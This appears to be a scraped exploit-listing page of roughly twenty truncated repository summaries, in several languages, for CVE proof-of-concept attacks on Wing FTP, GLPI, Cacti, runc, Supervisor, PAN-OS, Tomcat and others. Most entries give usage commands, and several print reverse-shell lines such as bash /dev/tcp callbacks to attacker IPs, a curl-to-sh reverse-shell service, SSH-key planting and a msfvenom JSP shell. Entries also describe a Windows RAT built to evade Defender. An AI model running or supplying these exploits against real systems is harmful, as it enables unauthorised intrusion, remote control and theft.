CVE-2024-47533

root@kitploit: 反向 Shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 简单命令 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' 写入 SSH 密钥 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.s...

CVE-2023-24610

CVE-2023-24610 这是针对 CVE-2023-24610 的概念验证 首先，我们使用 exiftool 创建一个多语言文件： exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 我们将文件改为 png 格式，以通过前端检查 之后，我们在 8888 端口启动一个 nc 监听器来接收 shell。 下一步是登录应用程序并点击设置 在页面底部，我们看到一个练习标志区域。我们可以通过右侧的编辑按钮上传文件 点击编辑，然后点击浏览，选择我们在第一步创建的“.png”文件 在上传之前，确保我们用...

CVE-2025-24801

CVE-2025-24801 GLPI RCE の PoC このリポジトリには、GLPI 10.0.17 の LFI から RCE に至る脆弱性 CVE-2025-24801 を悪用する概念実証スクリプト poc.py が含まれています。自動化する内容は以下の通りです： GLPI へのログイン 文書タイプ設定の更新による .php アップロードの有効化 AJAX ファイルアップロードエンドポイントを介した PHP リバースシェルのアップロード 🛠️ インストール root@kitploit: git clone...

CVE-2025-47812

CVE-2025-47812 – Wing FTP Server 通过 Lua 注入实现远程代码执行 作者： 0xgh057r3c0n 🧠 描述 此漏洞利用 Wing FTP Server 登录处理程序（loginok.html）中的 Lua 注入漏洞，执行任意操作系统命令或获取反向 Shell。它通过 username 参数滥用未经过滤的 Lua 代码执行。 📦 依赖要求 Python 3.6 或更高版本 pip3 Python 软件包 使用以下命令安装所需软件包： root@kitploit: pip3 install -r requirements.txt 或手动安装：...

CVE-2017-11610

CVE-2017-11610 Supervisor 3.0a1 - 3.3.2 未认证反向Shell RCE 独立的 Python ≥3.6 未认证 RCE 利用，针对 Supervisor 3.0a1 至 3.3.2，从 Metasploit 模块 重写而来。解释性 文章在此。 在 此目标 上使用 Python 3.7 测试，运行 Supervisor 3.3.2 使用方法： root@kitploit: root@Kali:/Infosec/RubyStuff/Supervisor-3.3.2 ./exploit.py -h usage: exploit.py -h -rhost...

CVE-2019-19699

CVE-2019-19699 Centreon = Commands Miscellaneous Procedemos haciendo clic en Add como se muestra en la imagen a continuación. Ahora creamos una reverse shell en bash como nuestro comando Miscellaneous root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 Y hacemos clic en Save Ahora navegamos ...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 用于利用 PlaySMS 1.4.3 之前版本的 Python 脚本 执行 在你的机器上打开一个端口： 然后执行 exploit.py： root@kitploit: ./exploit.py 修改漏洞利用 你可能想要更改 exploit.py 创建的反弹 Shell 为此，你可以更改 exploit.py 第 14 到 19 行的函数 createrevshellencoded： root@kitploit: def createrevshellencodedlhost,lport: Change if you need revshe...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 JoomlaのCVE-2015-8562脆弱性（オブジェクトインジェクションRCE）の概念実証 イントロ/変更履歴 このPoCは、exploit-dbで公開されている実装の第2バージョンです。 root@kitploit: -修正: セッションの再生成 -X-Forwarded-ForからUser-Agentメソッドへの切り替えオプションを追加 -Pythonリバースシェルからbashへの切り替えオプションを追加 -欠落したhttpスキーマとスクリプト終了の例外キャッチを追加 -使いやすさ、メッセージと色の改善のために編集 -TODO:...

reverse-shell

reverse-shell 反向Shell即服务 - https://reverse-shell.sh 一个易于记忆的反向Shell，适用于大多数类Unix系统。 它会检测目标上可用的软件，并运行合适的有效载荷。 用法 1. 监听连接 在你的机器上打开一个端口并监听。你可以使用netcat轻松完成。 root@kitploit: nc -l 1337 2. 在目标上执行反向Shell 在目标机器上，将 https://reverse-shell.sh/你IP:端口 的输出通过管道传给sh。 root@kitploit: curl...

Fast-CVE-2022-22965

靶机 root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest 反弹shell实质为参照msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp 将jsp url编码后，用 root@kitploit: %3C%25替换 %25%7Bc2%7Di 代表 代码中针对不同类型服务器进行了shellpath的修改判断 root@kitploit...

CVE-2018-2893

本软件仅限用于学习交流禁止用于任何非法行为 起这个名字主要目的是蹭一下2893的热度，反弹shell生成器 主要作用是生成自己的外网nc监听对象，希望可以帮助到一些代码小白，2893 2628不适用需要借助第三方服务端口生成远程服务 github搬运工...

CVE-2024-21626

CVE-2024-21626 概念验证（POC） 要求 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 运行容器镜像并在bash shell中执行poc.sh root@kitploit:...

CVE-2023-45878

CVE-2023-45878 本脚本基于 https://herolab.usd.de/security-advisories/usd-2023-0025/ 的研究编写。该漏洞利用原理是通过 Gibbon LMS 25.0.1 中的任意文件写入漏洞。此PoC将上传一个简单的php命令执行脚本，然后使用该脚本加载一个powershell反向shell。 root@kitploit: python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf 参数说明：...

Windows-X64-RAT

Troyano de Acceso Remoto RAT para Windows x64 Objetivo Desarrollar un RAT para Windows x64 utilizando CVE-2023-38831 WinRAR 6.23 y explotación de shellcode para evadir Windows Defender. Descripción del Sistema 1. Inicialización del Shellcode Generar shellcode usando Windows/x64 - PIC Null-Free TC...

CVE-2024-0012_CVE-2024-9474_PoC

🚀 Exploit CVE-2024-0012 y CVE-2024-9474 Palo Alto PAN-OS 🔐 🛡️ Descripción Este script de Prueba de Concepto PoC se dirige a vulnerabilidades en Palo Alto PAN-OS, específicamente CVE-2024-0012 y CVE-2024-9474 , automatizando el proceso de explotación, incluyendo el bypass de autenticación, la...

warsend

WARSend Subida de WAR Shell en la API de Apache Tomcat Manager Requisitos previos Credenciales Acceso a la API de texto de Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/...

CVE-2024-24386

VitalPBX - CVE-2024-24386 漏洞标题：命令注入 作者：Erick Duarte 版本： 3.2.5-2 该漏洞出现在使用任务管理器模块结合Cron Profile时。要利用此漏洞，我们需要在操作系统中的特定文件夹中放置一个脚本。该文件夹为"/var/lib/vitalpbx/scripts"。 出于好奇，我开始使用Burp分析发送到服务器的内容。为此，我创建了一个Cron Profile，使其每分钟执行一次。 接下来，我继续创建任务管理器。...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit Exploit para CVE-2020-15778 vuln. de OpenSSH Ejemplo: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 Debes usar netcat para escuchar en el puerto antes de usar el script de Python Ejemplo: nc -lvp 1234 1. Captura de pantalla del uso del script...

CVE-2022-46169

CVE-2022-46169 该仓库包含 CVE-2022-46169 的概念验证（PoC）——针对 Cacti = 1.2.22 的未经身份验证的远程代码执行。你可以在此处阅读有关该漏洞的更多信息。该脚本添加了一个反向 Shell 处理器，并基于 sAsPeCt488 编写的代码。你可以在此处查看原始代码。 用法 root@kitploit: python3 CVE-2022-46169.py -t 10.129.211.250 -i 10.10.14.72 -p 4444 参数： -t : 目标 IP 地址 -i : 攻击者系统 IP 地址 -p : 反向 Shell 端口 致谢...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell ejecutar comando go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port nota cuando ingreses el host de destino, no olvides el http:// o https://...